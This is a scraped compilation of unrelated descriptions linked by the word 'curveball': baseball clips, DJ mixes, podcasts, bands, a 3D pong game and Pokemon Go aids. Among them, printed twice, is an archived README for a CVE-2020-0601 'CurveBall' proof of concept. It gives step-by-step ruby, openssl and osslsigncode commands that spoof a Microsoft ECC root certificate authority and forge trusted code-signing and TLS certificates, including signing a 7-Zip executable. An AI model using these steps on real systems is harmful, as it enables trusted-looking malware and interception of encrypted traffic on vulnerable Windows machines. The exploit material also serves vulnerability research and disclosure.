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Appears on Flickr , DeviantArt , Instagram . DSC_0934.NEF - original raw file DSC_0934 2022-07-14 edit1 - first edit in Lightroom Classic 11.4, published version .xmp file - Lightroom sidecar file .dng file - Lightroom digital negative file Flickr/DeviantArt description: He was explaining to me how to throw the perfect curveball in baseball, but all I wanted was his photo on this fine summer evening. Instagram description: "This is how you throw a curveball." Instagram alt text: A boy holding a baseball out towards the camera, explaining how to throw a curveball. Date Taken: Jul 14, 2022, 9:14:15 PM EST Camera: Nikon D850 Lens: AF-S Nikkor 50mm f/1.4G Shutter Speed: 1/200 sec Aperture: f/1.4 ISO Speed: 2200 Focal Length: 50mm (fixed) Flash: Off, did not fire

Dj mix - Recorded Live using 2 X Technics SL1210 decks and Pioneer CDJ-1000 CD Deck

Tracklist: 1. The Jackleg Patrol 2. Curveball - Sunnyside Twenty Fifth Anniversary - Vol. 1 3. Never Never Land 4. Brainstorming 5. Waltz For Phineas 6. Just Around The Corner 7. Golden Earrings

Rich Furness - Bido Lito Curveball Central Mix

Erika Kaestle, Matt Flanagan and Igor Torgeson share stories of the curveballs thrown at them by life. Dickish dentists, Repot Depots and the love of the game.

Striking Gold is back and Rob is here to talk about the news that Jimmy Garoppolo will need surgery on this throwing arm, throwing a wrench into the 49ers' plan to be well compensated for their former starting quarterback. We also touch on 49ers' coaching staff turnover and John Lynch's opportunity to head back to broadcasting. Learn more about your ad choices. Visit podcastchoices.com/adchoices

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Source: https://www.reddit.com/r/TheSilphRoad/comments/bmrzj0/triple_bounce_curveball_on_an_arcanine/ Uploader: EindbaasBas

Source: https://www.reddit.com/r/TheSilphRoad/comments/bmrzj0/triple_bounce_curveball_on_an_arcanine/ Uploader: EindbaasBas

Source: https://www.reddit.com/r/TheSilphRoad/comments/bmrzj0/triple_bounce_curveball_on_an_arcanine/ Uploader: EindbaasBas

Source: https://www.reddit.com/r/TheSilphRoad/comments/bmrzj0/triple_bounce_curveball_on_an_arcanine/ Uploader: EindbaasBas

This is Rhode Island based Curveball Rescue League performing at The Knickerbocker Café in Westerly, RI on 10/20/18. Curveball Rescue League is Phil Adams on guitar, Albert Castelli on keys, Brendon Murano on bass, and Matt Nilsson on drums.

Life changes can be sudden, shocking and at times, scary.  How do we navigate things when life throws us a curveball?  Let’s talk…

Martin offers an explanation of the mechanics of throwing a mean curveball with a whiffleball.

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Dj mix of trance music

Produced in July 2001.

It's pong but it's in 3D.

UIActivityViewController!Zack and Steve put a few logs on the campfire and start talking about their favorite programming language, Swift. Today they discuss UIAler... erm UIActivityViewController. A very important and totally planned topic!

Baseball is one of Japan's most beloved sports and as such, many figures of speech derive from it, especially in a business environment.

Baseball is one of Japan's most beloved sports and as such, many figures of speech derive from it, especially in a business environment.

Tracklist: 1. The Jackleg Patrol 2. Curveball 3. Never Never Land - Betty Comden And Adolph Green; Jule Styne 4. Brainstorming 5. Waltz For Phineas 6. Just Around The Corner 7. Golden Earrings - Livingston & Evans; Victor Young

Teaching is an art that needs articulation concerning the learner's ability and willingness to comprehend. A teacher is a facilitator who establishes a connecting link between the coursework content provided and the receiver. The facilitator is expected to grasp the cord of the learner and differentiate in his approach towards the technical professionals, who are individuals with specialized knowledge and skills in a particular field, as well as humanities pursuers. It is challenging for the teacher to develop an interest and guide these technical professionals to study the foreign language parallel to the running core courses. Technical professionals emphasize their core subject areas significantly, as they need help understanding the relevance of learning a foreign language during their training. Thus, developing the concept of advantages associated with learning a foreign language among the students lies entirely on the service provider. The cliché of the classroom should collaborate with the intelligent methodology of teaching adopted by the imparter and show his firm belief in the students. This article is an ardent effort to discuss the issues and deliver suggestions to enhance students' interest in foreign languages and evolve to explore the chain of learning experiences.

Episode 2, Scene 9 Droid P-9L, engineers Bosley and Quintel, and increasingly erratic diplomat Tamaya find themselves locked in the Hutt's deadly dance at the Granee Noopa. Hunted through the muck by deadly and ostentatious bounty hunters, will they even make it to Dinner? And what further horrors await? The final session with Guest Star Traycee playing Amy Vorpahl's character "Tamaya". Never Tell Me The Odds  is a Star Wars RPG live play podcast, where four professional comedians / improvisers doing their best to stay alive on the edge of the Empire. New episodes every Friday! Follow our site, check out new episodes every Friday, and stay posted for our regular prizes and giveaways!

September 11th gives America the perfect excuse to finish our hit job on Iraq. We put together the Bush administration's case for war - WMD and al-Qaeda - and take it apart piece by piece.See omnystudio.com/listener for privacy information.

Source code repositories for project curveball hosted on kenai.com. Original fetch URLs: https://svn.kenai.com/svn/curveball~subversion SVN exported with 'svnrdump' and compressed with lzip, git exported with 'git bundle', hg exported with 'hg bundle'.

No Description

PoC for CVE-2020-0601- Windows CryptoAPI (Crypt32.dll) CurveBall (CVE-2020-0601) - PoC CVE-2020-0601, or commonly referred to as CurveBall, is a vulnerability in which the signature of certificates using elliptic curve cryptography (ECC) is not correctly verified. ECC relies on different parameters. These parameters are standardized for many curves. However, Microsoft didn't check all these parameters. The parameter G (the generator) was not checked, and the attacker can therefore supply his own generator, such that when Microsoft tries to validate the certificate against a trusted CA, it'll only look for matching public keys, and then use then use the generator of the certificate. NSA explains the impact of this vulnerability and more here . MicrosoftECCProductRootCertificateAuthority.cer is by default a trusted root certificate authority (CA) using ECC on Windows 10. Anything signed with this certificate will therefore automatically be trusted. Minimum requirements openssl 1.1.0 ruby 2.4.0 Mathematical details If you're interested in the mathematical details of the vulnerability, please read more here . In order to spoof the certificate, we set the following parameters: d' = 1G' = Q Such that Q = Q' = d'G' . Usage Create a certificate with the same public key and parameters of a trusted CA. This will be used as our spoofing CA. Set the generator to a value, where you know the private key. You can easily set the generator to the public key, and have a private key set to 1 , since Q = dG . Next up, you create a certificate signing request with the extensions you wish to use, e.g. code signing or server authentication. Sign this certificate request with your spoofed CA and CA key, and add the usage extensions. Bundle the signed certificate request (now a regular certificate) with the spoofed CA, and you have a signed and trusted certificate. When Windows checks whether the certificate is trusted, it'll see that it has been signed by our spoofed CA. It then looks at the spoofed CA's public key to check against trusted CA's. Then it simply verifies the signature of our spoofed CA with the spoofed CA's generator - this is the issue. If you choose to open your newly and signed, trusted certificate in Windows, it'll not recognize it as trusted, since it hasn't been tied to anything, thus it will not use the spoofed CA. The certificate must always present itself with the spoofed CA. Code Signing Please use this for educational and researching purposes only. Extract the public key from the CA and modify it according to the vulnerability: ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer Generate a new x509 certificate based on this key. This will be our own spoofed CA. openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt Generate a new key. This key can be of any type you want. It will be used to create a code signing certificate, which we will sign with our own CA. openssl ecparam -name secp384r1 -genkey -noout -out cert.key Next up, create a new certificate signing request (CSR). This request will oftenly be sent to trusted CA's, but since we have a spoofed one, we can sign it ourselves. openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs Sign your new CSR with our spoofed CA and CA key. This certificate will expire in 2047, whereas the real trusted Microsoft CA will expire in 2043. openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs The only thing left is to pack the certificate, its key and the spoofed CA into a PKCS12 file for signing executables. openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12 Sign your executable with PKCS12 file. osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe SSL/TLS Please use this for educational and researching purposes only. Extract the public key from the CA and modify it according to the vulnerability: ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer Generate a new x509 certificate based on this key. This will be our own spoofed CA. openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt Generate a new key. This key be of any type you want. It will be used to create a SSL certificate, which we will sign with our own CA. openssl ecparam -name secp384r1 -genkey -noout -out cert.key Next up, create a new certificate signing request (CSR). This request will oftenly be sent to trusted CA's, but since we have a spoofed one, we can sign it ourselves. If you wish to change the domain name, edit CN = www.google.com to CN = www.example.com inside of openssl_tls.conf . openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls Sign your new CSR with our spoofed CA and CA key. This certificate will expire in 2047, whereas the real trusted Microsoft CA will expire in 2043. openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls You can now use cert.crt , cert.key , and spoofed_ca.crt to serve your content. Again, remember to add the spoofed_ca.crt as a certificate chain in your server's HTTPS configuration. See the usage example in tls/index.js . To restore the repository download the bundle wget https://archive.org/download/github.com-ollypwn-CurveBall_-_2020-01-20_23-33-19/ollypwn-CurveBall_-_2020-01-20_23-33-19.bundle and run: git clone ollypwn-CurveBall_-_2020-01-20_23-33-19.bundle Source: https://github.com/ollypwn/CurveBall Uploader: ollypwn Upload date: 2020-01-20

PoC for CVE-2020-0601- Windows CryptoAPI (Crypt32.dll) CurveBall (CVE-2020-0601) - PoC CVE-2020-0601, or commonly referred to as CurveBall, is a vulnerability in which the signature of certificates using elliptic curve cryptography (ECC) is not correctly verified. ECC relies on different parameters. These parameters are standardized for many curves. However, Microsoft didn't check all these parameters. The parameter G (the generator) was not checked, and the attacker can therefore supply his own generator, such that when Microsoft tries to validate the certificate against a trusted CA, it'll only look for matching public keys, and then use then use the generator of the certificate. NSA explains the impact of this vulnerability and more here . MicrosoftECCProductRootCertificateAuthority.cer is by default a trusted root certificate authority (CA) using ECC on Windows 10. Anything signed with this certificate will therefore automatically be trusted. Minimum requirements openssl 1.1.0 ruby 2.4.0 Mathematical details If you're interested in the mathematical details of the vulnerability, please read more here . In order to spoof the certificate, we set the following parameters: d' = 1G' = Q Such that Q = Q' = d'G' . Usage Create a certificate with the same public key and parameters of a trusted CA. This will be used as our spoofing CA. Set the generator to a value, where you know the private key. You can easily set the generator to the public key, and have a private key set to 1 , since Q = dG . Next up, you create a certificate signing request with the extensions you wish to use, e.g. code signing or server authentication. Sign this certificate request with your spoofed CA and CA key, and add the usage extensions. Bundle the signed certificate request (now a regular certificate) with the spoofed CA, and you have a signed and trusted certificate. When Windows checks whether the certificate is trusted, it'll see that it has been signed by our spoofed CA. It then looks at the spoofed CA's public key to check against trusted CA's. Then it simply verifies the signature of our spoofed CA with the spoofed CA's generator - this is the issue. If you choose to open your newly and signed, trusted certificate in Windows, it'll not recognize it as trusted, since it hasn't been tied to anything, thus it will not use the spoofed CA. The certificate must always present itself with the spoofed CA. Code Signing Please use this for educational and researching purposes only. Extract the public key from the CA and modify it according to the vulnerability: ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer Generate a new x509 certificate based on this key. This will be our own spoofed CA. openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt Generate a new key. This key can be of any type you want. It will be used to create a code signing certificate, which we will sign with our own CA. openssl ecparam -name secp384r1 -genkey -noout -out cert.key Next up, create a new certificate signing request (CSR). This request will oftenly be sent to trusted CA's, but since we have a spoofed one, we can sign it ourselves. openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs Sign your new CSR with our spoofed CA and CA key. This certificate will expire in 2047, whereas the real trusted Microsoft CA will expire in 2043. openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs The only thing left is to pack the certificate, its key and the spoofed CA into a PKCS12 file for signing executables. openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12 Sign your executable with PKCS12 file. osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe SSL/TLS Please use this for educational and researching purposes only. Extract the public key from the CA and modify it according to the vulnerability: ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer Generate a new x509 certificate based on this key. This will be our own spoofed CA. openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt Generate a new key. This key be of any type you want. It will be used to create a SSL certificate, which we will sign with our own CA. openssl ecparam -name secp384r1 -genkey -noout -out cert.key Next up, create a new certificate signing request (CSR). This request will oftenly be sent to trusted CA's, but since we have a spoofed one, we can sign it ourselves. If you wish to change the domain name, edit CN = www.google.com to CN = www.example.com inside of openssl_tls.conf . openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls Sign your new CSR with our spoofed CA and CA key. This certificate will expire in 2047, whereas the real trusted Microsoft CA will expire in 2043. openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls You can now use cert.crt , cert.key , and spoofed_ca.crt to serve your content. Again, remember to add the spoofed_ca.crt as a certificate chain in your server's HTTPS configuration. See the usage example in tls/index.js . To restore the repository download the bundle wget https://archive.org/download/github.com-ollypwn-CurveBall_-_2020-01-20_23-33-19/ollypwn-CurveBall_-_2020-01-20_23-33-19.bundle and run: git clone ollypwn-CurveBall_-_2020-01-20_23-33-19.bundle Source: https://github.com/ollypwn/CurveBall Uploader: ollypwn Upload date: 2020-01-20

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Adelaide's freshest Burlesque talent in Hot Sauce Burlesque School's Showcase! Performer : Connie Curveball Hot Sauce Burlesque https://www.facebook.com/hotsauceburlesque/ Produced by Lyra La Belle https://www.facebook.com/Lyralabelle/ Video by Soda Street Productions https://www.facebook.com/SodaStreet/ Nexus Arts Venue https://www.facebook.com/NexusArtsVenue/

Adelaide's freshest Burlesque talent in Hot Sauce Burlesque School's Showcase! Performer : Connie Curveball Hot Sauce Burlesque https://www.facebook.com/hotsauceburlesque/ Produced by Lyra La Belle https://www.facebook.com/Lyralabelle/ Video by Soda Street Productions https://www.facebook.com/SodaStreet/ Nexus Arts Venue https://www.facebook.com/NexusArtsVenue/

Original description: ✨ Patreon: https://www.patreon.com/mmoxreview ⚔️ Our Store: https://krewsade.store/ 🕹️ Jeannie's Twitch: https://www.twitch.tv/potasticp 💡 Subscribe: https://bit.ly/2UFio2p 📷 Instagram: https://www.instagram.com/mxr_mods/ https://www.instagram.com/potasticpanda/ https://www.instagram.com/shopkrewsade/ 📜 Twitter: https://twitter.com/mmoxreview https://twitter.com/potasticpanda22 https://twitter.com/shopkrewsade Outro: https://www.youtube.com/watch?v=f_JFDnIohdo BGM: https://davidcuttermusic.com/

Original description: ✨ Patreon: https://www.patreon.com/mmoxreview ⚔️ Our Store: https://krewsade.store/ 🕹️ Jeannie's Twitch: https://www.twitch.tv/potasticp 💡 Subscribe: https://bit.ly/2UFio2p 📷 Instagram: https://www.instagram.com/mxr_mods/ https://www.instagram.com/potasticpanda/ https://www.instagram.com/shopkrewsade/ 📜 Twitter: https://twitter.com/mmoxreview https://twitter.com/potasticpanda22 https://twitter.com/shopkrewsade Outro: https://www.youtube.com/watch?v=f_JFDnIohdo BGM: https://davidcuttermusic.com/

Historian Tom Vince presents the first curveball pitch in Ohio collegiate history, thrown at Western Reserve College in Hudson by Clarence E. Allen in 1877, in a game against Oberlin College. Produced for the April 2017 Good Day in Hudson.

This is Rhode Island based Curveball Rescue League performing at Strange Brew Pub in Norwich, CT on 9/28/18. Curveball Rescue League is Albert Castelli on keys, Phil Adams on guitar, Matt Nilsson on drums, and Brendon Murano on bass.

This is Rhode Island based Curveball Rescue League performing at Strange Brew Pub in Norwich, CT on 9/28/18. Curveball Rescue League is Albert Castelli on keys, Phil Adams on guitar, Matt Nilsson on drums, and Brendon Murano on bass.

DJ mx of funky trance

The game space is a cubic room. The back wall is defended by your opponent (the computer) and the front wall is defended by you.  The aim of the game is to make the ball hit the back wall while preventing the ball from hitting the front wall behind you. There are three variants of the game: Arcade, Match and Discovery. Each variant of the game has its own options and scoring rules (see below).  Both you and your opponent strike the ball with rackets that move only on the planes of the front and back walls respectively. Neither racket can move forward or back, just side to side and up and down. The trajectory of the ball depends on the position and velocity of the racket at the moment it strikes the ball. The place on the racket where it hits the ball influences the angle the ball bounces (the farther from the racket's center the more skewed is the bounce). The velocity of the racket at the moment of impact determines the amount of curve given the ball (the higher the velocity, the greater the curve). After striking the ball it may touch the side walls of the cube and change its trajectory. A thin white frame moves along with the ball so you can determine its position easily. There is no gravity in the game, all four sides (left, right, up and down) are equivalent.  When your opponent misses the ball and it hits the back wall, you win. If you miss it and it hits the front wall (behind you), you lose.  You always start each game, i.e. the serve is always yours. The serve is always straight (the ball moves straight forward independent of the position or velocity of your racket). 

Dj mix on the decks & cd Player

Dj mix on the decks & cd Player

Dj mix on the decks & cd Player

Dj mix on the decks & cd Player

Another one of those classics that ended up everywhere it could reach, Curveball's simplistic yet sensible 3D look is supplemented in the gameplay with a ball that can be curved to just get it past the AI paddle.

Another one of those classics that ended up everywhere it could reach, Curveball's simplistic yet sensible 3D look is supplemented in the gameplay with a ball that can be curved to just get it past the AI paddle.

Dj Mix

https://www.youtube.com/watch?v=I-m_9hCYEHg https://www.mediafire.com/?aenp3uembn1bemo rar world file for minecraft java beta 1.5_01

This is a simple template to assist in throwing a curveball ( or strait ) in the Pokemon Go App. It is a layover design so that it will not interfere with your current Samsung Galaxy S6 case or battery pack. Also being thin, it travels easy in your pocket or purse. While this was designed for the Samsung Galaxy S6, It seems to work well with other phones of similar size. View the YouTube video to see it used in action here: https://youtu.be/YHFHvWAEmQc This video was shot for the iphone template, however the principals are still the same.